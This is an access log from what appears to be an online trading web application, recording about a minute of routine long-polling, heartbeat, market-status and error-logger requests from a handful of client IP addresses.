[09/Jan/2026:12:11:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932151902 HTTP/1.1" -
[09/Jan/2026:12:11:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932152326 HTTP/1.1" -
[09/Jan/2026:12:11:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932152327 HTTP/1.1" -
[09/Jan/2026:12:11:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932153851 HTTP/1.1" -
[09/Jan/2026:12:11:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932152897 HTTP/1.1" -
[09/Jan/2026:12:11:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932155327 HTTP/1.1" -
[09/Jan/2026:12:11:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932156144 HTTP/1.1" -
[09/Jan/2026:12:11:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932156927 HTTP/1.1" -
[09/Jan/2026:12:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932158325 HTTP/1.1" -
[09/Jan/2026:12:11:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932158325 HTTP/1.1" -
[09/Jan/2026:12:11:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932159062 HTTP/1.1" -
[09/Jan/2026:12:11:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932157954 HTTP/1.1" -
[09/Jan/2026:12:11:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932161335 HTTP/1.1" -
[09/Jan/2026:12:11:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932161949 HTTP/1.1" -
[09/Jan/2026:12:11:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932161614 HTTP/1.1" -
[09/Jan/2026:12:11:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932164166 HTTP/1.1" -
[09/Jan/2026:12:11:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932164330 HTTP/1.1" -
[09/Jan/2026:12:11:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932164330 HTTP/1.1" -
[09/Jan/2026:12:11:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932162995 HTTP/1.1" -
[09/Jan/2026:12:11:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932166986 HTTP/1.1" -
[09/Jan/2026:12:11:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932166843 HTTP/1.1" -
[09/Jan/2026:12:11:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932167331 HTTP/1.1" -
[09/Jan/2026:12:11:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932169316 HTTP/1.1" -
[09/Jan/2026:12:11:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932168116 HTTP/1.1" -
[09/Jan/2026:12:11:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932170332 HTTP/1.1" -
[09/Jan/2026:12:11:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932170332 HTTP/1.1" -
[09/Jan/2026:12:11:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932172025 HTTP/1.1" -
[09/Jan/2026:12:11:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932172052 HTTP/1.1" -
[09/Jan/2026:12:11:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932173328 HTTP/1.1" -
[09/Jan/2026:12:11:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932174453 HTTP/1.1" -
[09/Jan/2026:12:11:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932173187 HTTP/1.1" -
[09/Jan/2026:12:11:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932176338 HTTP/1.1" -
[09/Jan/2026:12:11:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932176338 HTTP/1.1" -
[09/Jan/2026:12:11:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932177068 HTTP/1.1" -
[09/Jan/2026:12:11:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932177315 HTTP/1.1" -
[09/Jan/2026:12:11:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932179333 HTTP/1.1" -
[09/Jan/2026:12:11:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932179588 HTTP/1.1" -
[09/Jan/2026:12:11:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932178354 HTTP/1.1" -
[09/Jan/2026:12:11:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932182094 HTTP/1.1" -
[09/Jan/2026:12:11:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932182335 HTTP/1.1" -
[09/Jan/2026:12:11:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932182335 HTTP/1.1" -
[09/Jan/2026:12:11:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932182473 HTTP/1.1" -
[09/Jan/2026:12:11:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932184811 HTTP/1.1" -
[09/Jan/2026:12:11:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932183524 HTTP/1.1" -
[09/Jan/2026:12:11:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932185331 HTTP/1.1" -
[09/Jan/2026:12:11:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932187119 HTTP/1.1" -
[09/Jan/2026:12:11:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932187589 HTTP/1.1" -
[09/Jan/2026:12:11:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932188325 HTTP/1.1" -
[09/Jan/2026:12:11:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932188325 HTTP/1.1" -
[09/Jan/2026:12:12:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932189959 HTTP/1.1" -
[09/Jan/2026:12:12:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932188602 HTTP/1.1" -
[09/Jan/2026:12:12:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932191325 HTTP/1.1" -
[09/Jan/2026:12:12:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932192144 HTTP/1.1" -
[09/Jan/2026:12:12:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932192824 HTTP/1.1" -
[09/Jan/2026:12:12:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932194338 HTTP/1.1" -
[09/Jan/2026:12:12:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932194338 HTTP/1.1" -
[09/Jan/2026:12:12:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932195001 HTTP/1.1" -
[09/Jan/2026:12:12:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932193720 HTTP/1.1" -
[09/Jan/2026:12:12:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932197189 HTTP/1.1" -
[09/Jan/2026:12:12:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932197336 HTTP/1.1" -
[09/Jan/2026:12:12:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932198100 HTTP/1.1" -
